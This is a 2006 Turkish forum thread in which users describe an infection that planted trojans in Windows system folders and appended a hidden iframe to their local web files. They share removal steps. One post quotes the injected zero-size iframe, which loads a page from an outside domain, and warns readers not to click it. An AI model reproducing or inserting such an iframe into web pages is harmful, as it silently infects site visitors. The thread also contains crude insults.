yeni virüs-Dikkat!-
45
●7.122
- 21-11-2006, 21:11:561 ay öncesinde banada dek geldi bu localhost dizinine command.com diye virus atıyor ve ben bunu d sürücünün içindeki AUTORUN.ini ile farkettim normalde gizli olarka kullanıyorum ve ico için ama bi baktım dğeiştirmiş sonra
kaspersky gibi güncel bir virus programı bulamıyor yani bir şey yapamıyor...
değiştirmek için tek tek uğraşmışltım ama arkadaşın dediği programı deneyim bakalım
şuan gelemiyor nedendir bilmiyorum ama bazı html asp dosyalarımda var halen..
çok pis bir virus ama helal olsun valla çocuklara acaba hangi garajdalar
- 21-11-2006, 21:45:12aynı olay benim başıma geldi. hatta sormuştum sitede virus olduğunu nasıl anlarız diye. sonradan çaktım olayı. her gördüğü php dosyasının altına 0 a 0 olarak iframe açıyor sitenize her girene truva atı bulaştırıyor. bana tam 8 tane bulaşmıştı.
bulaştığı yer c:\windows\update ve c:\windows\system32 içerisine bakın eğer 1.exe 2.exe ...... 8.exe ye kadar vardı buluyorsun görüyorsun siliyorsun bunları ama pc yi restart edince tekrardan ürüyorlardı. 4 tane antivir. kurdum hiç biri bir işe yaramadı bunları temizlerken format attım gene olmadı.
en son çareyi avast i sevmediğim halde denize düşen yılana sarılır hesabı kurdum ve tarattırdım. buldu fakat bulduğu virusleri silemedi.
nasıl kurtuldum?
güvenli kipte açtım önce orada karantina altına aldırdım.
normal kipe geçtim baktım ki bi faydası olmamış tekrar bunlar otomatik olarak çalışıyorlar.
yerlerini tespit ettiğim için gittim o klasöre önce CTRL+ALT+DEL yapıp işlemlerde gözüken 1.exe 2.exe ... gibi programları kapattım. ama burda hızlı olmalısınız hemen açılıyor tekrar.
kapattıktan sonra bu klasörde sırasıyla 1.exe nin üzerine sağ tıklayıp tara dedim ve virus olduğunu söyledi bana hemen tümünü sil dedim.
daha sonra diğerlerine de sırasıyla yaptım. ve şu son 3 gündür hiç bir şekilde açılmıyorlar. allah kimseye bulaştırmasın derim.
çok uzun yazdım kusura bakmayın. bulaşmış olan arkadaş varsa bu şekilde kurtulabilir.
truvanın isimlerini merak ederseniz onlarda şöyle :
C:\WINDOWS\system32\update\1.exe\[PESpin]
Win32:Pepatch-Q [Trj]
C:\WINDOWS\system32\update\4.exe\[UPX]
Win32:Qqrob-BN [Trj]
C:\WINDOWS\system32\update\7.exe
Win32:Small-AMI [Trj]
C:\WINDOWS\system32\8.exe
Win32:Small-AMI [Trj]
UYARI : Aşağıdaki Link e sakın tıklamayın.
pc de bulunan zip dosyaları haricindeki tüm php uzantılı dosyalarımın altına eklediği kod aşağıdadır.
<iframe src="http://www.ac66.cn/88/index.htm" width="0" height="0" frameborder="0"></iframe> - 21-11-2006, 22:18:56kendi makinamaçısından çok tedbirliği c sürümde hiç bir işlem yapmıyorum desktop olarak D:\DESKTOP ayarladım bilgisayarımın C sürücüsü ile işim olamdıgı için tabi birde deepfreeze kullandığım için virus bulaşmıyor bulaşsada aç kapa gidior dersem ayıp etmemiş olurum sanırım
ama localdeki bütün asp php htm ne varsa hepsine ekledi şimdide onu arkadaşın bahsettiği programla Advanced Find and Replace temizledim artık temizim 2074 dosyama dalmış veled....
bu arada desktop nasıl D:\DESKTOP olur konusunu bir konuya açalım dimi.
buyrun buraya tıklayarak inceleyebilirsiniz - 04-12-2006, 13:35:46
Kimlik doğrulama veya yönetimden onay bekliyor.Şerefsiz antivirüs bana da bulaştı avast ötüp duruyo, virüsü yapanın sülalesinde namuslu dişi kalmadı, bende diyorum bu kod ne her php ve html kodunun en altında bu oluyo, eskiden böyle bişey yoktu diyodum bende, nasıl silicem bu lanet şeyi, avast salak salak ötüyo ama silemiyo çünkü bulunan virüs sistem dosyalarına bulaşmış, bende yüzlerce dosya var php ve html nasıl temizlicem hele bi de webmaster ım dosyaları sunucuya upload etmiştim, orası var şimdi off offfff ne işe yarıyo bu antivirüsçüler ve microsoft anlamıyom..
